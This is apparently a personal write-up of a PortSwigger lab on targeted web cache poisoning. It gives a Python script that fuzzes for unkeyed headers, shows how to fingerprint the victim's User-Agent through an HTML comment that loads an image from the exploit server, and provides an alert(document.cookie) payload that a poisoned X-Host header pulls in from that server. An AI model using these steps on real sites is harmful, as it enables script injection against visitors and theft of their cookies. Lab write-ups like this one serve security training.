Targeted web cache poisoning using an unknown header | Jan 23, 2023
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Targeted web cache poisoning using an unknown header! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab is vulnerable to web cache poisoning. A victim user will view any comments that you post. To solve this lab, you need to poison the cache with a response that executes alert(document.cookie)
in the visitor’s browser. However, you also need to make sure that the response is served to the specific subset of users to which the intended victim belongs.
Exploitation
Home page:
Burp Suite HTTP history:
In here, we see that the web application is using caches to cache the web content.
Also, it has a HTTP header called Vary
, and it specifies the User-Agent
header.
The Vary
header specifies a list of additional headers that should be treated as part of the cache key even if they are normally unkeyed. It is commonly used to specify that the User-Agent
header is keyed, for example, so that if the mobile version of a website is cached, this won’t be served to non-mobile users by mistake.
Moreover, when we visit the website, it loaded a JavaScript from /resources/js/tracking.js
:
View source page:
<script type="text/javascript" src="//0a5500e503331cbbc06b90ea002f001a.web-security-academy.net/resources/js/tracking.js"></script>
Now, we can test is it accepting the X-Forwarded-Host
HTTP header. If it does, then we can poison the cache, and load any JavaScript file from any website:
Nope. It doesn’t work.
To find header that changes the loaded JavaScript file domain, I’ll write a Python script:
#!/usr/bin/env python3
import requests
from threading import Thread
from time import sleep
class Requester:
def __init__(self, url, wordlistPath):
self.__url = url
self.__wordlistPath = wordlistPath
def readFileAndSendRequest(self):
counter = 0
with open(self.__wordlistPath, 'r') as file:
for header in file:
# Prevent our fuzzing is being cached.
# Otherwise it won't find the valid HTTP header
cacheBuster = f'?buster=buster{counter}'
thread = Thread(target=self.sendRequest, args=(header.strip(), cacheBuster))
thread.start()
sleep(0.02)
counter += 1
def sendRequest(self, cleanHeader, cacheBuster):
payload = {cleanHeader: 'web-cache-poisoning-header-fuzzing.com'}
finalURL = self.__url + cacheBuster
requestResult = requests.get(finalURL, headers=payload)
print(f'[*] Trying HTTP header: {cleanHeader:40s}', end='\r')
if 'web-cache-poisoning-header-fuzzing.com' in requestResult.text:
print(f'[+] Found valid HTTP header: {cleanHeader}')
def main():
url = 'https://0a5500e503331cbbc06b90ea002f001a.web-security-academy.net/'
wordlistPath = '/usr/share/seclists/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers'
requester = Requester(url, wordlistPath)
requester.readFileAndSendRequest()
if __name__ == '__main__':
main()
┌[root♥siunam]-(~/ctf/Portswigger-Labs/Web-Cache-Poisoning)-[2023.01.23|20:57:16(HKT)]
└> python3 fuzz_header.py
[+] Found valid HTTP header: X-Host
Found it! The X-Host
header is valid!
To confirm it, we can send the request again with the header:
Nice!
Now, if we can control the JavaScript file domain, we can poison the cache and load any JavaScript files from anywhere.
But before we do that, let’s find out victim’s User-Agent
!
To do so, we can go to one of those posts in the home page:
As you can see, we can leave some comments and HTML is allowed.
Let’s create an <img>
element that pointing to our exploit server. By doing that, we can finger print victim’s User-Agent
value:
Exploit server access log:
Found it!
- Victim
User-Agent
: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.74 Safari/537.36
Armed with above information, we can poison the web cache with the victim’s User-Agent
and our evil JavaScript file:
Evil JavaScript file:
document.write('<img src=errorpls onerror=alert(document.cookie)>');
Then host it on the exploit server:
Finally, poison the web cache:
When the victim visit the website, it’ll load our evil JavaScript file, which will then trigger an alert box.
What we’ve learned:
- Targeted web cache poisoning using an unknown header